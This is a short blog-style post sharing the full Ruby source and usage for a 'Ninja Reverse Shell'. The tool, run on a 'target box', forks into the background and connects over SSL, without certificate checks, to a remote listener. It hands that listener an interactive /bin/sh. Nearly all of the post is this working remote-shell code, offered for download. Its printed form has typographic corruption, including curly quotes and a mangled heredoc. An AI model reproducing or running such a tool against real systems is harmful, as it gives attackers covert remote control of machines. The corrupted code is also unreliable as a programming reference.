Ruby Reverse Shell

The “Ninja Reverse shell” is nothing special. It’s a small program I wrote to while I was learning Ruby’s networking APIs.

The connection is encrypted using SSL. The code does not verify the SSL certificate. This will need to be fixed to defend against man-in-the-middle attacks.

For the moment it only works in *nix systems.

#!/usr/bin/env ruby
require ’socket’
require ‘pty’
require ‘openssl’
require ‘getoptlong’
NINJA_SHELL_VERSION = ‘0.5

class GetoptLong
  def to_hash
    hash = {}
    each { |key, val| hash[key] = val or true }
    hash
  end
end

$opts = GetoptLong.new(
                [ ‘–help’,       ’-h’, GetoptLong::NO_ARGUMENT ],
                [ ‘–listen’,     ’-l’, GetoptLong::NO_ARGUMENT ],
                [ ‘–port’,       ’-p‘, GetoptLong::REQUIRED_ARGUMENT ],
                [ ‘–version’,    ‘-v’, GetoptLong::NO_ARGUMENT ],
                [ ‘–key-size’,   ’-s’, GetoptLong::REQUIRED_ARGUMENT ]
        ).to_hash

def printUsage
  puts <<usage>
</usage>nrs - Ninja Reverse Shell
Version #{NINJA_SHELL_VERSION} by Jason Macpherson <jason.macpherson@gmail.com>

Usage:

connect: nrs hostname port
 listen: nrs -l [-p port]

options:
   -h,  –help          You already figured out what that does.
   -l,  –listen        Listen for incoming nrs connection, default port is
                        443, change with -p.
   -p,  –port n        For -l (listen), bind to port n instead of 443.
   -k,  –key-size      For -l (listen), RSA key size, default is 1024 bits
   -v,  –version       Print program banner, copyright and RCS id then exit.
USAGE
  exit 0
end

def printVersion
  puts "Ninja Reverse Shell Version #{NINJA_SHELL_VERSION}."
  exit 0
end

def generateKeyCert()
  print "Generating ", $rsaKeySize, " bit RSA key"
  key = OpenSSL::PKey::RSA.new($rsaKeySize){
        print "."
        STDOUT.flush
  }
  puts "Done."
  cert = OpenSSL::X509::Certificate.new
  cert.version = 2
  cert.serial = 0
  name = OpenSSL::X509::Name.new([["C","Ninja Co"],["O","Ninja Division"],["CN","Mr. Ninja"]])
  cert.subject = name
  cert.issuer = name
  cert.not_before = Time.now
  cert.not_after = Time.now + 3600
  cert.public_key = key.public_key
  ef = OpenSSL::X509::ExtensionFactory.new(nil, cert)
  cert.extensions = [
    ef.create_extension("basicConstraints", "CA:FALSE"),
    ef.create_extension("subjectKeyIdentifier", "hash"),
    ef.create_extension("extendedKeyUsage", "serverAuth"),
    ef.create_extension("keyUsage", "keyEncipherment,dataEncipherment,digitalSignature")
  ]
  ef.issuer_certificate = cert
  cert.add_extension ef.create_extension("authorityKeyIdentifier",
                                         "keyid:always,issuer:always")
  cert.sign(key, OpenSSL::Digest::SHA1.new)
  return key, cert
end

def parseArgs
  printUsage if $opts[‘–help’]
  printVersion if $opts[‘–version’]

  $host = "localhost"
  $port = 443

  if($opts[‘–port’])
     $port = $opts[‘–port’].to_i
  end

  $rsaKeySize = 1024
  if($opts[‘–key-size’])
    $rsaKeySize = $opts[‘–key-size’].to_i
  end

  $listen = $opts[‘–listen’] != nil

  if (not $listen)
      if(ARGV.size < 1)
          printUsage
      end
      $host = ARGV[0]
      if(ARGV[1])
          $port = ARGV[1].to_i
      end
  end
end

def connectToShell
    socket = TCPSocket.new($host, $port)
    ssl_context = OpenSSL::SSL::SSLContext.new()
    ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE
    sslsocket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)
    sslsocket.sync_close = true
    sslsocket.connect

    PTY.spawn("stty -echo; /bin/sh") { |r,w,pid|
         Thread.new {
              while true
                  w.print sslsocket.getc.chr
                  w.flush
              end
         }

         begin
            while true
                c = r.sysread(512)
                break if c.nil?
                sslsocket.write c
                sslsocket.flush
            end
         ensure
            sslsocket.close
            break;
         end
   }
end

def bindShell
    ssl_context = OpenSSL::SSL::SSLContext.new()
    ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE
    ssl_context.key, ssl_context.cert = generateKeyCert
    socket = TCPServer.new($port)
    print "Listening for connection…"
    $stdout.flush

    sslsocket = OpenSSL::SSL::SSLServer.new(socket, ssl_context).accept
    puts "nconnected."

    Thread.new {
       while true
          $stdout.print sslsocket.getc.chr
          $stdout.flush
       end
    }

    while c = $stdin.getc.chr
       sslsocket.write c
    end
end

parseArgs()

if($listen)
    bindShell()
else
   fork {
    connectToShell()
   }
end
 

Usage:

On the listening box:

./nrs -l -p 8888

On the target box:

./nrs <listener IP> 8888

Download